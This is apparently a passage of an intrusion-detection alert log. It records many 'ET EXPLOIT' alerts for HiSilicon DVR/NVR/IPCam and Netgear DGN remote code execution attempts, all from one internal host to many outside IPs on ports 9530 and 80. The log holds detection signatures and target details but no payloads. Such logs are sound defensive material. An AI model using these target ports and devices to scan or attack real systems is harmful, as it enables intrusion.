Source Port:	54506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.154.10.30

Timestamp:	05/16/24-16:38:59.557982
SID:	2030487
Source Port:	60998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.64.21.220

Timestamp:	05/16/24-16:39:08.128044
SID:	2030488
Source Port:	46092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.125.184.65

Timestamp:	05/16/24-16:39:03.262226
SID:	2030487
Source Port:	36352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.123.66.251

Timestamp:	05/16/24-16:38:59.520050
SID:	2030488
Source Port:	59100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.123.66.251

Timestamp:	05/16/24-16:38:59.520050
SID:	2030487
Source Port:	59100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.125.184.65

Timestamp:	05/16/24-16:39:03.262226
SID:	2030488
Source Port:	36352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.38.166.56

Timestamp:	05/16/24-16:38:59.519288
SID:	2030488
Source Port:	48114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.23.93.168

Timestamp:	05/16/24-16:39:14.492070
SID:	2030487
Source Port:	33926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.30.9.189

Timestamp:	05/16/24-16:39:14.492404
SID:	2030488
Source Port:	33550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.23.93.168

Timestamp:	05/16/24-16:39:14.492070
SID:	2030488
Source Port:	33926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.30.9.189

Timestamp:	05/16/24-16:39:14.492404
SID:	2030487
Source Port:	33550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.212.210.65

Timestamp:	05/16/24-16:38:50.047739
SID:	2030487
Source Port:	56248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.228.47.113

Timestamp:	05/16/24-16:39:16.611209
SID:	2030487
Source Port:	46008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.212.210.65

Timestamp:	05/16/24-16:38:50.047739
SID:	2030488
Source Port:	56248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.228.47.113

Timestamp:	05/16/24-16:39:16.611209
SID:	2030488
Source Port:	46008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.134.33.169

Timestamp:	05/16/24-16:38:59.519275
SID:	2030487
Source Port:	53376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.134.33.169

Timestamp:	05/16/24-16:38:59.519275
SID:	2030488
Source Port:	53376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.60.251.191

Timestamp:	05/16/24-16:39:12.406630
SID:	2030487
Source Port:	48420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.167.127.118

Timestamp:	05/16/24-16:39:05.693315
SID:	2030487
Source Port:	43852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.209.136.16

Timestamp:	05/16/24-16:39:12.401743
SID:	2030488
Source Port:	53232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.209.136.16

Timestamp:	05/16/24-16:39:12.401743
SID:	2030487
Source Port:	53232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.167.127.118

Timestamp:	05/16/24-16:39:05.693315
SID:	2030488
Source Port:	43852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.21.201.118

Timestamp:	05/16/24-16:39:16.598479
SID:	2030487
Source Port:	57608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.215.29.153

Timestamp:	05/16/24-16:39:02.747905
SID:	2030488
Source Port:	41228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.21.201.118

Timestamp:	05/16/24-16:39:16.598479
SID:	2030488
Source Port:	57608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.215.29.153

Timestamp:	05/16/24-16:39:02.747905
SID:	2030487
Source Port:	41228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.113.212.70

Timestamp:	05/16/24-16:39:16.579883
SID:	2030487
Source Port:	33978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.229.179.36

Timestamp:	05/16/24-16:39:12.384764
SID:	2030488
Source Port:	41432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.229.179.36

Timestamp:	05/16/24-16:39:12.384764
SID:	2030487
Source Port:	41432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.113.212.70

Timestamp:	05/16/24-16:39:16.579883
SID:	2030488
Source Port:	33978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.47.29.184

Timestamp:	05/16/24-16:39:14.494560
SID:	2030488
Source Port:	38906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.47.29.184

Timestamp:	05/16/24-16:39:14.494560
SID:	2030487
Source Port:	38906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.123.207.254

Timestamp:	05/16/24-16:38:50.068999
SID:	2030488
Source Port:	56702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.69.245.86

Timestamp:	05/16/24-16:39:01.467583
SID:	2024916
Source Port:	48866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.123.207.254

Timestamp:	05/16/24-16:38:50.068999
SID:	2030487
Source Port:	56702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.143.38.89

Timestamp:	05/16/24-16:39:05.712613
SID:	2030488
Source Port:	48704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.143.38.89

Timestamp:	05/16/24-16:39:05.712613
SID:	2030487
Source Port:	48704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.93.111.85

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	41838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.235.244.49

Timestamp:	05/16/24-16:38:57.408692
SID:	2030487
Source Port:	44224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.223.206.240

Timestamp:	05/16/24-16:39:03.290431
SID:	2030488
Source Port:	60740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.93.111.85

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	41838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.223.206.240

Timestamp:	05/16/24-16:39:03.290431
SID:	2030487
Source Port:	60740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.235.244.49

Timestamp:	05/16/24-16:38:57.408692
SID:	2030488
Source Port:	44224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.147.46.130

Timestamp:	05/16/24-16:39:03.280123
SID:	2030488
Source Port:	42512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.147.46.130

Timestamp:	05/16/24-16:39:03.280123
SID:	2030487
Source Port:	42512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.156.135.76

Timestamp:	05/16/24-16:39:12.298141
SID:	2030488
Source Port:	56880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.156.135.76

Timestamp:	05/16/24-16:39:12.298141
SID:	2030487
Source Port:	56880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.239.148.149

Timestamp:	05/16/24-16:38:55.226836
SID:	2030487
Source Port:	33820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.171.118.52

Timestamp:	05/16/24-16:39:14.491205
SID:	2030488
Source Port:	42610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.239.148.149

Timestamp:	05/16/24-16:38:55.226836
SID:	2030488
Source Port:	33820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.171.118.52

Timestamp:	05/16/24-16:39:14.491205
SID:	2030487
Source Port:	42610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.180.127.61

Timestamp:	05/16/24-16:39:14.531149
SID:	2030487
Source Port:	46192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.180.127.61

Timestamp:	05/16/24-16:39:14.531149
SID:	2030488
Source Port:	46192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.111.83.42

Timestamp:	05/16/24-16:39:14.521920
SID:	2030487
Source Port:	59000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.111.83.42

Timestamp:	05/16/24-16:39:14.521920
SID:	2030488
Source Port:	59000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.127.167.37

Timestamp:	05/16/24-16:39:16.603142
SID:	2030487
Source Port:	37642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.127.167.37

Timestamp:	05/16/24-16:39:16.603142
SID:	2030488
Source Port:	37642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.182.194.209

Timestamp:	05/16/24-16:39:12.295464
SID:	2030488
Source Port:	44996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.182.194.209

Timestamp:	05/16/24-16:39:12.295464
SID:	2030487
Source Port:	44996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.238.221.239

Timestamp:	05/16/24-16:39:12.380211
SID:	2030488
Source Port:	37656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.238.221.239

Timestamp:	05/16/24-16:39:12.380211
SID:	2030487
Source Port:	37656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.156.142.55

Timestamp:	05/16/24-16:39:14.494612
SID:	2030488
Source Port:	50684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.156.142.55

Timestamp:	05/16/24-16:39:14.494612
SID:	2030487
Source Port:	50684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.181.65.70

Timestamp:	05/16/24-16:39:14.491237
SID:	2030488
Source Port:	51168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.181.65.70

Timestamp:	05/16/24-16:39:14.491237
SID:	2030487
Source Port:	51168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.57.185.36

Timestamp:	05/16/24-16:39:08.041166
SID:	2030487
Source Port:	59032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.57.185.36

Timestamp:	05/16/24-16:39:08.041166
SID:	2030488
Source Port:	59032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.24.159.5

Timestamp:	05/16/24-16:38:59.519995
SID:	2030487
Source Port:	55140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.24.159.5

Timestamp:	05/16/24-16:38:59.519995
SID:	2030488
Source Port:	55140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.134.246.85

Timestamp:	05/16/24-16:38:59.519434
SID:	2030488
Source Port:	55920
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.134.246.85

Timestamp:	05/16/24-16:38:59.519434
SID:	2030487
Source Port:	55920
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.22.41.47

Timestamp:	05/16/24-16:38:53.011484
SID:	2030487
Source Port:	44156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.22.41.47

Timestamp:	05/16/24-16:38:53.011484
SID:	2030488
Source Port:	44156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.37.49.13

Timestamp:	05/16/24-16:39:12.384411
SID:	2030487
Source Port:	58720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.37.49.13

Timestamp:	05/16/24-16:39:12.384411
SID:	2030488
Source Port:	58720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.247.134.19

Timestamp:	05/16/24-16:39:02.764187
SID:	2030487
Source Port:	57644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.247.134.19

Timestamp:	05/16/24-16:39:02.764187
SID:	2030488
Source Port:	57644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.38.29.31

Timestamp:	05/16/24-16:39:12.382892
SID:	2030487
Source Port:	40108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.38.29.31

Timestamp:	05/16/24-16:39:12.382892
SID:	2030488
Source Port:	40108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.138.207.30

Timestamp:	05/16/24-16:39:16.582467
SID:	2030488
Source Port:	56140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.138.207.30

Timestamp:	05/16/24-16:39:16.582467
SID:	2030487
Source Port:	56140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 76.160.156.195

Timestamp:	05/16/24-16:39:09.595122
SID:	2034576
Source Port:	47236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.74.152.31

Timestamp:	05/16/24-16:39:03.262246
SID:	2030488
Source Port:	45864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.74.152.31

Timestamp:	05/16/24-16:39:03.262246
SID:	2030487
Source Port:	45864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.209.194.84

Timestamp:	05/16/24-16:38:55.210373
SID:	2030487
Source Port:	55716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.78.3.50

Timestamp:	05/16/24-16:38:57.448109
SID:	2030488
Source Port:	41028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.143.81.109

Timestamp:	05/16/24-16:39:05.704013
SID:	2030487
Source Port:	43134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.61.97.128

Timestamp:	05/16/24-16:38:55.176046
SID:	2030487
Source Port:	46598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.78.3.50

Timestamp:	05/16/24-16:38:57.448109
SID:	2030487
Source Port:	41028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.143.81.109

Timestamp:	05/16/24-16:39:05.704013
SID:	2030488
Source Port:	43134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.61.97.128

Timestamp:	05/16/24-16:38:55.176046
SID:	2030488
Source Port:	46598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.209.194.84

Timestamp:	05/16/24-16:38:55.210373
SID:	2030488
Source Port:	55716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.211.41.82

Timestamp:	05/16/24-16:39:08.041881
SID:	2030487
Source Port:	33890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.73.145.72

Timestamp:	05/16/24-16:39:05.713068
SID:	2030487
Source Port:	47040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.73.145.72

Timestamp:	05/16/24-16:39:05.713068
SID:	2030488
Source Port:	47040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.211.41.82

Timestamp:	05/16/24-16:39:08.041881
SID:	2030488
Source Port:	33890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.174.114.27

Timestamp:	05/16/24-16:39:05.678400
SID:	2030488
Source Port:	56306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.174.114.27

Timestamp:	05/16/24-16:39:05.678400
SID:	2030487
Source Port:	56306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.234.198.155

Timestamp:	05/16/24-16:39:05.693347
